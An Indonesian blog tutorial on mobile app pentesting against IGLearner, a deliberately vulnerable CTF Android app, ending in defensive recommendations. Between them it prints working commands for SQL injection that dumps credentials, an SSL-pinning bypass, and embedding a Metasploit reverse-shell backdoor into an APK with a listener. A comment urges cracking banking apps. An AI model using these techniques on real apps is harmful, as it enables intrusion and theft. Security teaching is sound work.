Aplikasi mobile sudah menjadi ‘barang lumrah’. Popularitasnya mengalahkan aplikasi berbasis web. Apalagi dibandingkan dengan aplikasi berbasis desktop (ada yang masih ingat Delphi? VB? hehe). Contoh singkat saja, aplikasi web banking, sudah kalah dengan aplikasi mobile banking ‘kan hehehe.. Contoh lain, akhir-akhir ini, setiap ada projek sistem informasi dimana-mana, salah satu yang ditanyakan client adalah ‘bisa diakses dari mobile ga?’ atau ‘ada aplikasi mobile nya ga, jadi ga usah repot-repot buka laptop’. Ya, sekarang ini buka laptop pun menjadi sesuatu yang ribet hahaha. Karena aplikasi mobile sudah semakin marak, sudah barang tentu keamanannya harus semakin diperhatikan. Apalagi untuk aplikasi yang saya contohkan di atas tadi, mobile banking. Pada kesempatan kali ini saya ingin posting tentang ‘hacking’ keamanan aplikasi mobile dan rekomendasi solusi untuk menangkalnya.
Arsitektur Aplikasi Mobile (Simplified)
Secara sederhana dapat digambarkan arsitektur aplikasi mobile memiliki frontend, yang berisi interface tempat user berinteraksi dengan aplikasi seperti input data, swipe kiri kanan, tap ini itu, menyimpan informasi temporary/cache/non-persistent; serta backend, tempat informasi disimpan secara persistent di server. Komunikasi dan sync data dari frontend ke backend via HTTP/HTTPS SOAP, XML, atau JSON.
Untuk scope hacking aplikasi mobile kali ini lebih dititik beratkan pada frontend hacking, jadi diluar hacking sistem backend (misalnya hacking unprotected API) seperti yang tercantum dalam standard keamanan aplikasi terbaru dari OWASP Top 10: OWASP 2017 klausul A 10. Bisa panjaaaang ntar postingannya hahaha.
Persiapan
Berikut ini adalah mobile app objek hacking dan tools yang digunakan dalam melakukan hacking kali ini:
- IGLearner by Intrepidusgroup – mobile app yang menjadi objek hacking
- apktool – tools untuk decompile apk ke bahasa SMALI dan rebuild ulang apk
- dex2jar – tools untuk convert file dex apk menjadi file java *.jar
- jd-gui – tools untuk membaca code java pada file *.jar
- keytool, jarsigner, zipalign – tools untuk signing dan package-aligning apk; included di Android Studio
- emulator – sistem android virtual yang digunakan selama proses hacking; included di Android Studio
- drozer agent/server/console – tools yang digunakan untuk audit security aplikasi mobile
- Burp Suite Free Edition – tools yang digunakan untuk intercept komunikasi data dari frontend ke backend
Ok.. kalau semuanya sudah terinstall, selanjutnya mari kita hands-on aplikasi android IGLearner tsb. Aplikasi IGLearner sebenernya adalah aplikasi dengan style “capture the flag”, berisi 8 challenge yang bisa diselesaikan. Jadi aplikasi ini memang sengaja dirancang “vulnerable”, dan ditujukan untuk dijadikan alat belajar hacking aplikasi mobile.
1. Reverse engineer APK untuk mengubah logic apps
Objektif kita di step ini adalah merubah logic apps karena aplikasi IGLearner code nya tidak di obfuscate. Pertama-tama decompile APK dengan apktool
inan@eniac:~$ apktool.bat d com.intrepidusgroup.learner.apk I: Using Apktool 2.1.1 on com.intrepidusgroup.learner.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/inan/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
Hasilnya adalah file *.smali aplikasi IGLearner tsb.
Selanjutnya, apapun bisa dilakukan disini. Mengubah code sehingga logic programming berubah juga bisa. Tapi harus menguasai bahasa SMALI dulu hehehe.
Sebagai contoh kali ini, diberikan yang sangat simple mengubah code nih… Berhubung aplikasi IGLearner ini adalah apps yang style nya “capture the flag” dan banyak challenge nya, saya coba mengubah string agar tombol submit di setiap challenge jika di tap akan selalu mengeluarkan string “Bener!!!” Ahahahaha kezel beud.
Setelah di modifikasi, save, dan kembali build APK nya:
inan@eniac:~$ apktool.bat b -f -d com.intrepidusgroup.learner SmaliDebugging has been removed in 2.1.0 onward. Please see: https://github.com/iBotPeaches/Apktool/issues/1061 I: Using Apktool 2.1.1 I: Smaling smali folder into classes.dex... I: Building resources... I: Building apk file... I: Copying unknown files/dir...
Dan file APK terbaru hasil modifikasi ada di folder “dist”. Kemudian dilakukan digital sign APK tersebut. Berhubung belum ada key nya, buat dulu kunci “konci.keystore” dengan menggunakan java keytool:
inan@eniac:~$ keytool.exe" -genkey -v -keystore konci.keystore -alias tibandungapp -keyalg RSA -keysize 2048 -validity 10000 Enter keystore password: Re-enter new password: --------------snip------------- Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 10,000 days for: CN=tibandung, OU=tibandung, O=tibandung, L=tibandung, ST=tibandung, C=ID Enter key password for (RETURN if same as keystore password): [Storing konci.keystore]
Sign dengan menggunakan java jarsigner:
inan@eniac:~$ jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore konci.keystore com.intrepidusgroup.learner.apk tibandungapp Enter Passphrase for keystore: adding: META-INF/MANIFEST.MF adding: META-INF/TIBANDUN.SF adding: META-INF/TIBANDUN.RSA signing: AndroidManifest.xml --------------snip------------- signing: res/menu/lesson_selector.xml signing: resources.arsc jar signed.
Lalu di zipalign…
inan@eniac:~$ zipalign.exe -v 4 com.intrepidusgroup.learner.apk com.intrepidusgroup.learner-aligned.apk Verifying alignment of com.intrepidusgroup.learner-aligned.apk (4)... 50 META-INF/MANIFEST.MF (OK - compressed) 1564 META-INF/TIBANDUN.SF (OK - compressed) 3396 META-INF/TIBANDUN.RSA (OK - compressed) 4517 AndroidManifest.xml (OK - compressed) --------------snip------------- 264554 res/menu/activity_lesson_intro.xml (OK - compressed) 264874 res/menu/lesson_selector.xml (OK - compressed) 265180 resources.arsc (OK) Verification succesful
File com.intrepidusgroup.learner-aligned.apk Ready!! Tinggal install ke device Android.. Kemudian coba saja jalankan challenge tersulit, kemudian klik submit, pasti jawabannya bener tuh 😛
2. Reverse engineer APK untuk mempelajari logic apps
Hampir sama dengan point 1, namun objektif di point 2 lebih pada ingin mempelajari logic apps yang di compile ke bahasa Java, yang lebih common dimengerti oleh orang daripada code smali. Biasanya dilakukan oleh hacker yang memang niat melakukan hacking suatu aplikasi mobile. Karena tentu dia harus tau dulu flow aplikasi ini. Apakah APK tersebut akan membuat file, mengirimkan sebuah token, call web API di URL tertentu, dan sebagainya.
Decompile apk dengan tools dex2jar:
inan@eniac:~$ dex2jar com.intrepidusgroup.learner.apk dex2jar com.intrepidusgroup.learner.apk -> .\com.intrepidusgroup.learner-dex2jar.jar
Kemudian tinggal open file com.intrepidusgroup.learner-dex2jar.jar dengan jd-gui:
Sebagai contoh, dari review code di atas ini, kita jadi tau ternyata IGLearner.apk akan membuat sebuah file txt writeable dengan format penamaan [Tanggal][NomorTelp].txt. Kalau device nya seperti Tab atau di emulator, yang tidak punya nomor telepon, ternyata ada execption dari developernya, yaitu asumsi nomornya menjadi 1234567890. Ooo.. jadi ada kemungkinan nama filenya [Tanggal]1234567890.txt
3. SQL Injection ke database local apps: sql-lite
Step selanjutnya mencoba scan database local pada apps mobile terhadap SQL injection. Kita menggunakan bantuan tools Drozer disini. Drozer merupakan salah satu tools pentest untuk aplikasi mobile yang punya beberapa fitur standar security testing seperti melakukan scanning. Drozer berbentuk agent/server, yang mana agent (file APK) di install di device android yang sedang kita test, sedangkan servernya di install di PC/Laptop pentester. Kemudian agent akan berkomunikasi dengan server via tcp port 31415.
Jalankan Drozer server
inan@eniac:~$ drozer server start Starting drozer Server, listening on 0.0.0.0:31415
Kemudian jalankan console interface
inan@eniac:~$ drozer console connect Selecting fc81878f63285aad (unknown Android SDK built for x86 7.1.1) .. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.3.4) dz>
Berikut contoh-contoh command yang bisa dilakukan oleh Drozer
dz> list ---snip--- app.package.info Get information about installed packages scanner.activity.browsable Get all BROWSABLE activities that can be invoked from the web browser scanner.misc.native Find native components included in packages scanner.misc.readablefiles Find world-readable files in the given folder scanner.misc.secretcodes Search for secret codes that can be used from the dialer scanner.misc.sflagbinaries Find suid/sgid binaries in the given folder (default is /system). scanner.misc.writablefiles Find world-writable files in the given folder scanner.provider.finduris Search for content providers that can be queried from our context. scanner.provider.injection Test content providers for SQL injection vulnerabilities. scanner.provider.sqltables Find tables accessible through SQL injection vulnerabilities. scanner.provider.traversal Test content providers for basic directory traversal vulnerabilities. shell.exec Execute a single Linux command. shell.send Send an ASH shell to a remote listener. shell.start Enter into an interactive Linux shell. ---snip---
Sebagai contoh, untuk mengetahui permission dari APK IGLearner
dz> run app.package.info -f learner Package: com.intrepidusgroup.learner Application Label: Learner Process Name: com.intrepidusgroup.learner Version: 1.0 Data Directory: /data/user/0/com.intrepidusgroup.learner APK Path: /data/app/com.intrepidusgroup.learner-1/base.apk UID: 10075 GID: [3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_PHONE_STATE - android.permission.INTERNET Defines Permissions: - None
OK, back to mission… Mari kita scan apakah ada attack vector yang injectable…
dz> run scanner.provider.injection -a com.intrepidusgroup.learner Scanning com.intrepidusgroup.learner... Not Vulnerable: content://com.intrepidusgroup.learner.contentprovider/ content://com.intrepidusgroup.learner.contentprovider Injection in Projection: No vulnerabilities found. Injection in Selection: content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ content://com.intrepidusgroup.learner.contentprovider/iglearnerdb
Ternyata ada yang vulnerable terhadap SQL injection by SELECT di 2 alamat tersebut di atas.. Tembaak gaan..
dz> run scanner.provider.finduris -a com.intrepidusgroup.learner Scanning com.intrepidusgroup.learner... Able to Query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb Unable to Query content://com.intrepidusgroup.learner.contentprovider/ Unable to Query content://com.intrepidusgroup.learner.contentprovider Able to Query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ Accessible content URIs: content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ content://com.intrepidusgroup.learner.contentprovider/iglearnerdb
OK mari kita ambil salah satu sample yang able to query, karena ini Blind SQL injection, kita coba-coba saja selection injection dengan union ke 5 kolom (SELECT 1,2,3,4,5)
dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ --selection "'' or 1='1' union select 1,2,3,4,5 from sqlite_master;" near "union": syntax error (code 1): , while compiling: SELECT * FROM users WHER E ('' or 1='1' union select 1,2,3,4,5 from sqlite_master;)
Oops.. syntax error.. coba 4 deh kalau gitu…
dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ --selection "'') or 1='1' union select 1,2,3,4 from sqlite_master; " | _id | user | password | description | | 1 | 2 | 3 | 4 |
BINGGOHH.. ok, tinggal union ke data yang benar..
dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ --selection "'') or 1='1' union select name,sql,3,4 from sqlite_master;" | _id | user | password | description | | android_metadata | CREATE TABLE android_metadata (locale TEXT) | 3 | 4 | | sqlite_sequence | CREATE TABLE sqlite_sequence(name,seq) | 3 | 4 | | users | CREATE TABLE users(_id, user, password, description)| 3 | 4 |
Daaan… terlihat ada table bernama “users”, dengan kolom “user”, “password”. Let’s query ’em:
dz> run app.provider.query content://com.intrepidusgroup.learner.contentprovider/iglearnerdb/ --selection "'') or 1='1' union select _id,user,password,description from users;" | _id | user | password | description | | 1 | johndoe | bvgzxs0m91 | John Doe's password |
Case closed!
4. SSL Sniffing / SSL MITM
Objektif di skenario 4 ini adalah melakukan sniffing apk yang sync ke backend nya di internet. Tujuannya untuk mendapatkan informasi penting yang mungkin saja dikirimkan apk tersebut ke internet. Misalnya informasi token, ID, parameter tertentu, dll.
Pertama, jalankan Burp Suite Free Edition, dan aktifkan mode intercept & listen di semua interface 0.0.0.0:8080. Kemudian setelah service proxy Burp tsb running, setup device android agar melalui proxy Burp tsb. Agar intercept dapat berjalan dengan lancar, install pula certificate milik Burp bernama “PortSwigger CA” ke dalam trusted certificate Android sehingga tidak ada masalah koneksi SSL antara android ke Burp. Jadi secara flow, komunikasi dari Android ke backend akan melewati proxy Burp dulu.
Pada gambar di atas, dengan menggunakan Burp Proxy, sebenarnya akan ada 2 koneksi yang dimaintain oleh Burp. Yaitu koneksi antara android ke burp proxy di port 8080 (Nomor 1), dan koneksi burp ke server backend (Nomor 2). Sehingga apapun yang dikirimkan dari android device walaupun encrypted tetap bisa di decrypt oleh Burp karena terminasinya memang dilakukan di proxy tsb.
Snapshot pada device android:
Jalankan aplikasi IGLearner yang dapat mentrigger apps mengirimkan sesuatu ke server nya di internet. Daaan.. cek di interface Burp Suite ternyata APK ini mengirimkan SecretTokenHeader ke server. SecretTokenHeader ini kemudian dapat kita explore lebih jauh. Bagaimana kalau value nya diganti, atau kita pakai di device lain, dsb:
Di skenario 4 ini menariknya, saya pribadi pernah menjumpai aplikasi mobile (bukan banking sih :P) yang melakukan sync ke internet dan mengirimkan info poin. Katakanlah poin yang dikirimkan adalah “100”. Tapi kemudian saya intercept, dan value “100” nya saya ganti jadi “999999”. Dan parahnya beneran terupdate di server, karena memang di sisi backend nya tidak melakukan verifikasi. Bisa dibayangkan kalau hal ini terjadi di aplikasi mobile banking? Value 100 to 999999 nya itu uang? Hehehe…
5. Bypass SSL Pinning
Risiko pada step 4 di atas sebenarnya bisa dicegah dengan melakukan pinning. Dengan membenamkan (pinning) real SSL certificate milik server backend di internet. Device android jadi bisa melakukan verifikasi based-on value yang di pinning di apk tersebut. Untuk contoh kasus di atas, jika koneksi SSL nya di intercept oleh sebuah proxy yang menggunakan certificate “palsu” bernama “PortSwigger CA” maka aplikasi tidak akan melanjutkan transaksinya.
Namun dengan implementasi pinning yang kurang tepat pada aplikasi IGLearner ini, prosedur pinning tersebut malah tetap bisa dibypass. Berikut buktinya:
Aplikasi IGLearner ini menggunakan layanan semacam https://certpins.appspot.com/pin untuk mengkalkulasi pin sertifikat SSL nya. Default value SSL certificate milik real server yang di pinning oleh developer IGLearner adalah “22be4c99907cf04f336da9e82cf0608fa79cc42e” terlihat dari hasil decompile apktool, pada smali code baris berikut:
Kita tinggal mengubah value “22be4c99907cf04f336da9e82cf0608fa79cc42e” ke pin value milik “PortSwigger CA”. Hasil kalkulasi pin:
Ganti baris 136 ‘const-string v16’ pada file “HttpRequestTaskWithPinning.smali” tsb. Build ulang dengan apktool seperti petunjuk di tutorial skenario 1 sebelumnya, digital sign, dan… ya di install di android nya lagi versi apk yang sudah dimodif itu hehe..
inan@eniac:~$ apktool b com.intrepidusgroup.learner.apk
—
inan@eniac:~$ jarsigner.exe -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore konci.keystore com.intrepidusgroup.learner.apk tibandungapp
—
inan@eniac:~$ zipalign.exe -v 4 com.intrepidusgroup.learner.apk com.intrepidusgroup.learner-aligned.apk
Apa yang terjadi? SSL Pinning percuma karena bisa di decompile, diubah value pin-nya ke value pin sertifikat SSL milik Burp Proxy (PortSwigger CA).
6. Embed Backdoor (Bonus)
Ada 1 trick lagi yang ingin saya posting disini yaitu menempelkan backdoor di aplikasi IGLearner.apk. Sehingga setiap pengguna aplikasi menjalankan IGLearner.apk, secara tidak langsung juga menjalankan script backdoor metasploit. Syaratnya perlu tools metasploit framework dan apk-embed-payload.
Gunakan tool apk-embed-payload untuk memanggil script metasploit (msfvenom) untuk kemudian tool tsb akan mengkombinasikan IGLearner.apk dengan backdoor milik metasploit.
inan@eniac:~$ ./run com.intrepidusgroup.learner.apk -p android/meterpreter/reverse_tcp LHOST=192.168.30.130 LPORT=31337 ??? ??? ??????? ??????? ??????? ??????? ??????? ???????? ????????????????????????????????????????????????????????? ?????? ??? ???????????? ??? ??????????????? ????? ?????? ??? ???????????? ??? ??????????????? ????? ???? ??????????????????????????????????????? ??????????? ??? ??? ??????? ??????? ??????? ??????? ??? ??????????? Embed a Metasploit Payload in an Original .Apk File v0.2 [1] Generating msfvenom payload [2] Signing payload [3] Decomposing original APK [4] Decomposing payload APK [5] Locating onCreate() hook [6] Copying payload files ----------snip------------ [+] Adding android.permission.WAKE_LOCK [8] Rebuilding com.intrepidusgroup.learner.apk with metasploit payload [9] Signing com.intrepidusgroup.learner_embedded.apk [+] com.intrepidusgroup.learner.apk has been embedded, com.intrepidusgroup.learner_embedded.apk
Maksud dari command di atas adalah mengkombinasikan aplikasi mobile IGLearner.apk dengan payload metasploit bertipe meterpreter yang saat di execute akan menginisiasi koneksi ke server remote control nya di host dengan alamat IP 192.168.30.130 pada port 31337. APK baru bernama “com.intrepidusgroup.learner_embedded.apk” sudah jadi. Jangan lupa di sign:
inan@eniac:~$ jarsigner -verbose -keystore konci.keystore com.intrepidusgroup.learner_embedded.apk tibandungapps
Kemudian zipalign:
inan@eniac:~$ zipalign -v 4 com.intrepidusgroup.learner_embedded.apk com.intrepidusgroup.learner_embedded-ready.apk
Install ke device android target… Sementara jalankan backdoor listener di server 192.168.30.130 sambil menunggu koneksi masuk:
< metasploit > ------------ \ ,__, \ (oo)____ (__) )\ ||--|| * =[ metasploit v4.14.24-dev ] + -- --=[ 1657 exploits - 949 auxiliary - 293 post ] + -- --=[ 486 payloads - 40 encoders - 9 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/multi/handler msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [*] Started reverse TCP handler on 192.168.30.130:31337 [*] Starting the payload handler...
Selanjutnya terserah anda heheheh… Btw saya pernah sedikit menyinggung fitur-fitur dari meterpreter di postingan ini dan ini.
Konklusi & Rekomendasi Keamanan pada Aplikasi Mobile
Dari berbagai ancaman pada point-point di atas itu, langkah yang dapat dilakukan oleh developer untuk menghindari hal-hal tsb adalah dengan mengikuti standard security/keamanan aplikasi mobile:
- Obfuscate code. Tools yang biasa digunakan adalah dengan ProGuard (contoh simple penggunaan ProGuard di Android Studio disini). Code di obfuscate agar mempersulit pembacaan code oleh pihak lain saat dilakukan reverse engineering.
- Menyimpan data yang bersifat sensitif ke NDK (Native Development Kit). Contoh data sensitif: alamat URL, SSL pin, dll.
- Database local pada aplikasi harus dienkripsi.
- Penggunaan captcha/BOT prevention, untuk menyaring form input dari scripting flooding bot (not human).
- Koneksi ke backend menggunakan HTTPS
- SSL Pinning. Menanamkan certificate server pada aplikasi dan melakukan validasi certificate tsb saat koneksi
- Diluar praktik hacking kali ini tapi masih terkait ke standard OWASP Top 10 2017 klausul A 10 tentang unprotected API: Session management & token security. Setiap halaman pada aplikasi yang berhubungan dengan backend/web service perlu disertakan token pada setiap request nya. Sehingga backend dapat memvalidasi request tersebut berasal dari client yang memang sudah terautentikasi (verified).
Sekian sedikit tentang keamanan pada aplikasi mobile. Semoga bermanfaat.
Terimakasih informasinya sangat membantu ,singkat padat dan jelas
terima kasih guru..
jadi menambah ilmu,,
boleh minta kontak whatsapp nya guru..?
ke no ini guru..
081212220368
jos…bobol apk mbanking bro
Hello mas, mau tanya tentang pentest android dong, tp dari sisi user gitu , trus di suruh buat reportnya , aku masih awam. dulu di IT security lebih ke akses controlnya
pak inan19x,
terima kasih banyak pak akhirnya ada yg share artikel untuk pentest aplikasi android.
apakah ini juga berlaku untuk aplikasi ios ??
salam,